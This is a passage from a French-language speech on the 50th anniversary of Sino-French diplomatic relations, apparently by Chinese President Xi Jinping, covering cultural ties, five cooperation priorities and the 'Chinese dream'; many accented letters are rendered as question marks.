peuples réciproques. Il y avait, dans l’histoire de la France, un engouement pour la culture chinoise, et on en trouve des traces chez les philosophes des Lumières et dans les décorations du Ch?teau de Versailles. De même, les chefs-d’?uvre des écrivains et artistes fran?ais sont très appréciés du public chinois. Depuis l’établissement des relations diplomatiques il y a 50 ans, nos deux pays et nos deux peuples se sont traités dans un esprit de respect, de confiance et d’égalité, jetant ainsi la base d’une relation solide et durable. De nombreux dirigeants de la vieille génération du Parti communiste chinois, vous le savez, ont fait des études en France. Zhou Enlai, Deng Xiaoping, Cai Hesen, Chen Yi et Nie Rongzhen, pour ne citer que les noms les plus illustres. C’est pour cette raison que dès mon jeune ?ge, je m’intéresse beaucoup à la culture, à l’histoire, à la philosophie, à la littérature et à l’art fran?ais. Une plongée dans l’histoire moderne et contemporaine de la France, notamment dans l’histoire de la Révolution fran?aise, a approfondi ma réflexion sur les lois de l’évolution politique de la société humaine. La lecture de Montesquieu, de Voltaire, de Rousseau, de Diderot, de Saint-Simon, de Fourier et de Sartre a raffermi ma conviction dans le r?le du progrès de la pensée pour celui de l’Humanité. En lisant des ouvrages écrits par Montaigne, La Fontaine, Molière, Stendhal, Balzac, Hugo, Dumas père et fils, George Sand, Flaubert, Maupassant et Romain Rolland, j’ai acquis une meilleure compréhension de la vie humaine. Des personnages comme Jean Valjean, Quasimodo et Boule de suif sont solidement ancrés dans ma mémoire. La beauté des ?uvres de de Millet, de Manet, de Degas, de Cézanne, de Monet et de Rodin, ainsi que le parfait mariage des influences chinoises avec le style occidental dans les tableaux de Zao Wou-ki ont enrichi ma culture en art. S’y ajoutent aussi les romans de Jules Verne qui m’emmènent dans un monde d’imagination illimité. Sans oublier que la France séduit également les Chinois par son opéra, son ballet, son architecture, son sport, sa gastronomie, sa mode, son cinéma... Tout cela a été pour moi un enrichissement qui m’a permis de mieux savourer la culture de mon propre pays et d’apprendre davantage d’une civilisation humaine aussi profonde que riche. - La clairvoyance, c’est la garantie fondamentale du développement de la relation sino-fran?aise. On disait que ? les brumes ne pouvaient voiler le regard de celui qui est au sommet de la montagne ?. Au cours des 50 ans écoulés, les dirigeants des deux pays ont toujours travaillé inlassablement dans un esprit visionnaire et stratégique pour transcender la confrontation des blocs, rechercher le consensus dans la divergence, et réaliser la coexistence pacifique et la coopération mutuellement bénéfique. La France a été la première puissance occidentale à avoir instauré avec la Chine un partenariat global, puis un partenariat global stratégique et un dialogue stratégique. Les deux pays ont initié ensemble de nombreux projets de coopération stratégique et maintenu un dialogue étroit dans les affaires internationales pour faire évoluer l’ordre international dans un sens plus juste et plus rationnel. - La coopération gagnant-gagnant, c’est le puissant moteur du développement continu de la relation sino-fran?aise. La coopération entre la Chine et la France est une cause gagnant-gagnant. Les deux peuples en sont les plus grands bénéficiaires. Aujourd’hui, le volume des échanges commerciaux entre nos deux pays est 500 fois plus important qu’au lendemain de l’établissement des relations diplomatiques. La mobilité de personnes, quasi inexistante à l’époque, avoisine deux millions de déplacements par an. 50 000 Fran?ais apprennent le chinois, et 100 000 Chinois aprennent la langue de Molière. Récemment, Sophie Marceau a été invitée sur le plateau de la soirée de gala de l’année du cheval, émission très suivie en Chine. La coopération sino-fran?aise change ainsi discrètement la vie des deux peuples et contribuera chaque jour davantage au bien-être des deux pays. Mesdames et Messieurs, Chers Amis, Confucius disait : ? ? cinquante ans, on assimile bien les volontés du Ciel ?. Au moment où la relation sino-fran?aise entre dans ses cinquante ans, nous avons à saisir le présent et à nous tourner vers le futur, pour mieux planifier l’avenir de cette relation et la rendre plus étroite, plus solide et plus particulière. Premièrement, continuer à se témoigner respect et confiance pour consolider la base politique de la relation sino-fran?aise. Nous devons maintenir fermement cette relation dans la bonne direction. Il y a donc lieu pour nous de construire dans un esprit de solidarité, une communauté de destin, de mener un dialogue sincère pour parvenir à un consensus par-delà la divergence, et de soutenir fermement chacun les efforts de l’autre visant à préserver ses intérêts vitaux en matière de souveraineté, de sécurité et de développement. Il nous faut pour ce faire renforcer le dialogue stratégique, approfondir la coopération stratégique, et gérer adéquatement les divergences, de sorte à accro?tre la dimension stratégique, la stabilité et la prévisibilité de la relation sino-fran?aise et à mieux préserver les intérêts communs. Deuxièmement, s’en tenir au bénéfice mutuel et au gagnant-gagnant pour consolider la base économique de la relation sino-fran?aise. C’est en prenant l’initiative que nous pourrons développer une coopération économique plus large et traduire l’excellence des rapports politiques en mieux-être des deux peuples. Nous venons de publier un plan de développement des relations sino-fran?aises à moyen et long terme, document programme qui guidera la coopération pragmatique entre les deux pays dans les années à venir. La Chine entend travailler ensemble avec la France pour identifier, avec un grand sens de communauté d’intérêts, davantage de points de convergence des intérêts et approfondir la coopération économique. Troisièmement, construire une amitié éternelle pour consolider la base populaire de la relation sino-fran?aise. ? l’occasion de la célébration des cinquante ans des relations diplomatiques, nous avons à nous appuyer sur le mécanisme d’échanges humains de haut niveau nouvellement mis en place pour encourager activement les différents milieux des deux pays à développer largement leurs échanges et coopérations, de telle sorte que les deux peuples soient défenseurs, acteurs et bénéficiaires de l’amitié et de la coopération sino-fran?aises, et que surtout les jeunes chinois et fran?ais s’engagent dans cette cause. Quatrièmement, poursuivre l’ouverture pour contribuer ensemble à la croissance de l’économie mondiale. Il est dans l’intérêt de tous les pays du monde de rehausser la coopération économique, de promouvoir la libéralisation et la facilitation du commerce et de l’investissement et de combattre le protectionnisme. Il faut donc renforcer la coordination des politiques macro-économiques, promouvoir la réforme du système économique, financier et monétaire international, favoriser l’instauration d’un système commercial multilatéral ouvert et équitable, intensifier les échanges et la coopération en matière d’aide internationale et faire évoluer la globalisation économique dans un sens de bénéfice pour tous et de gagnant-gagnant. Cinquièmement, maintenir une étroite coordination pour relever ensemble les défis planétaires. Nos deux pays ont à renforcer leurs consultation, concertation et coordination dans les affaires internationales et régionales et à poursuivre leurs efforts en faveur de la multipolarisation, de la démocratisation des relations internationales et des règles internationales élaborées collectivement à travers la concertation d’égal à égal, afin de faire de leurs relations une force majeure pour la paix mondiale et le progrès de l’Humanité. Mesdames et Messieurs, Chers Amis, Avec le rêve, avec les opportunités et avec le travail, on peut faire tout ce qu’il y a de plus beau dans le monde. Actuellement, le peuple chinois ?uvre pour réaliser le rêve chinois du grand renouveau de la nation chinoise. Le Président Hollande a exprimé sa détermination à réenchanter le rêve fran?ais. Et lors de sa visite en Chine l’année dernière, il m’a proposé de travailler à la réalisation d’un rêve ? franco-chinois ? sur la base des rêves respectifs des deux peuples. Depuis l’ère moderne, le plus grand rêve pour nous, les Chinois, est de réaliser le grand renouveau de la nation chinoise. La culture, la destinée et la réalité de la Chine font que nous ne pouvons réaliser notre rêve que sur cette voie de notre propre choix. - Le rêve chinois, c’est la recherche de la paix. Il ne peut se réaliser que si la paix est garantie. La nation chinoise poursuit depuis des milliers d’années le haut idéal d’un monde de paix et de la Grande Concorde. Ayant connu de nombreuses souffrances dans le passé, elle attache un prix particulier à la paix et entend travailler ensemble avec les autres pays du monde pour la b?tir, la préserver et la vivre. L’Histoire le dira : réaliser le rêve chinois, c’est d’apporter au monde les opportunités, la paix et le progrès, et non la menace, le trouble et la décadence. Napoléon disait : ? La Chine est un lion endormi, le jour où elle s’éveillera, le monde tremblera ?. Aujourd’hui, ce lion s’est réveillé, et il se veut pacifique, sympathique et civilisé. - Le rêve chinois, c’est la quête du bonheur. Le rêve chinois est celui de la nation chinoise et de chaque Chinois. C’est celui qui fait que chacun a l’occasion de se développer, de servir la société, de réussir et de réaliser son rêve. Nous voulons faire en sorte que notre peuple ait un droit égal de participation et de développement, que l’équité et la justice sociales soient défendues et que tous les Chinois puissent, de manière plus équitable, tirer davantage profit du développement et avancer d’un pas ferme vers une prospérité commune. - Le rêve chinois, c’est le service au monde. ? Un homme pauvre travaille dans la solitude à se perfectionner, il rend tous les autres parfaits s’il est dans la prospérité. ? Les Chinois préconisent depuis toujours cette grandeur d’?me. La réussite de la Chine, c’est non seulement une responsabilité envers elle-même, mais aussi une contribution au monde. Avec notre développement, nous nous sommes efforcés de rendre service à la paix et au développement dans le monde, et nous continuerons à le faire dans l’avenir. Pour réaliser ce rêve chinois, nous nous sommes fixé deux objectifs grandioses : parachever la construction sur tous les plans d’une société de moyenne aisance avant le centenaire du PCC en doublant d’ici 2020 le PIB chinois et le revenu par habitant par rapport à 2010, et réaliser avant le centenaire de la Chine nouvelle le grand renouveau de la nation chinoise en faisant de la Chine un pays socialiste moderne, prospère, démocratique, harmonieux et hautement civilisé à l’horizon 2050. Pour réaliser ce rêve chinois, il est donc nécessaire, à notre avis, d’approfondir la réforme dans tous les domaines, de libérer davantage la pensée, de développer les forces productives et d’accro?tre la vitalité de la société chinoise. En novembre dernier, la 3e session plénière du Comité central issu du 18e Congrès du PCC a pris un ensemble de dispositions en matière d’approfondissement général de la réforme et sonné la mobilisation pour le nouveau tour de réforme. Nous veillerons, à travers des actions sur les plans économique, politique, culturel, social et écologique, à améliorer et développer le système socialiste à la chinoise et à moderniser le système et la capacité de gouvernance du pays, de sorte à donner une place décisive au marché dans l’attribution des ressources et à mieux faire jouer au gouvernement son r?le. Actuellement, un plan général a été défini, et les responsabilités sont claires. L’heure est à la mise en ?uvre. En envisageant l’avenir, nous sommes convaincus que le développement de la Chine, qui recèle une grande potentialité et qui a devant lui de belles perspectives, créera davantage de possibilités de coopération pour tous les pays du monde. ? Les choses du monde se développent sans rivalité, et les quatre saisons alternent sans contradiction ?. Le rêve chinois est une chance pour la France, tout comme le rêve fran?ais l’est pour la Chine. Inaugurer une nouvelle étape d’un partenariat global stratégique sino-fran?ais étroit et solide est le seul choix juste qui nous impose. C’est aussi le consensus stratégique le plus important que le Président Hollande et moi avons dégagé au cours de cette visite. J’espère sincèrement que les deux pays et les deux peuples, dans la poursuite de leurs rêves respectifs, se prêteront compréhension et assistance pour réaliser ensemble le ? rêve sino-fran?ais ?. Mesdames et Messieurs, Chers Amis, L’amitié entre peuples est la base d’un rapprochement entre ?tats. L’excellence de la relation sino-fran?aise est due aux efforts des deux peuples qui ont toujours su se témoigner compréhension, sympathie et aide. Nous ne saurons jamais oublier les nombreux amis fran?ais ayant apporté une contribution de poids au développement tous azimuts de la Chine. Je citerais, entre autres, le médecin Jean Augustin Bussière qui, au risque de sa vie, a transporté à vélo de précieux médicaments vers les bases de lutte contre les agresseurs japonais, le médecin militaire Jean-Guillaume Houel qui a sauvé la jeune chinoise coincée dans l’ascenseur lors des fortes répliques du grand séisme de Wenchuan, Madame Fran?oise Grenot-Wang, appelée Fang Fang par les Chinois, qui a aidé des enfants chinois déscolarisés à retourner à l’école et M. Christian Bauer, entra?neur de plusieurs champions du monde de sabre chinois, sans oublier M. Alain Perrin, nouveau sélectionneur de l’équipe nationale masculine de football de Chine de qui les supporters chinois attendent beaucoup et à qui je forme les meilleurs v?ux de réussite. Un proverbe fran?ais dit : ? Petit à petit, l’oiseau fait son nid ?. Son équivalent chinois rappelle : ? Un arbre géant na?t d’une germe infime, une tour à neuf étages part d’une poignée de terre ?. L’amitié sino-fran?aise est le fruit des efforts assidus des deux peuples. Je voudrais donc saisir cette occasion pour rendre un vibrant hommage à toutes celles et à tous ceux qui ont apporté silencieusement leur contribution à l’amitié entre nos deux pays. Mesdames et Messieurs, Chers Amis, En regardant le passé et le présent, je suis encore plus confiant en l’avenir de l’amitié sino-fran?aise qui se trouve aujourd’hui sur un nouveau point de départ historique. Que nous travaillions main dans la main pour créer de nouvelles perspectives de la relation sino-fran?aise. Je vous remercie de votre attention.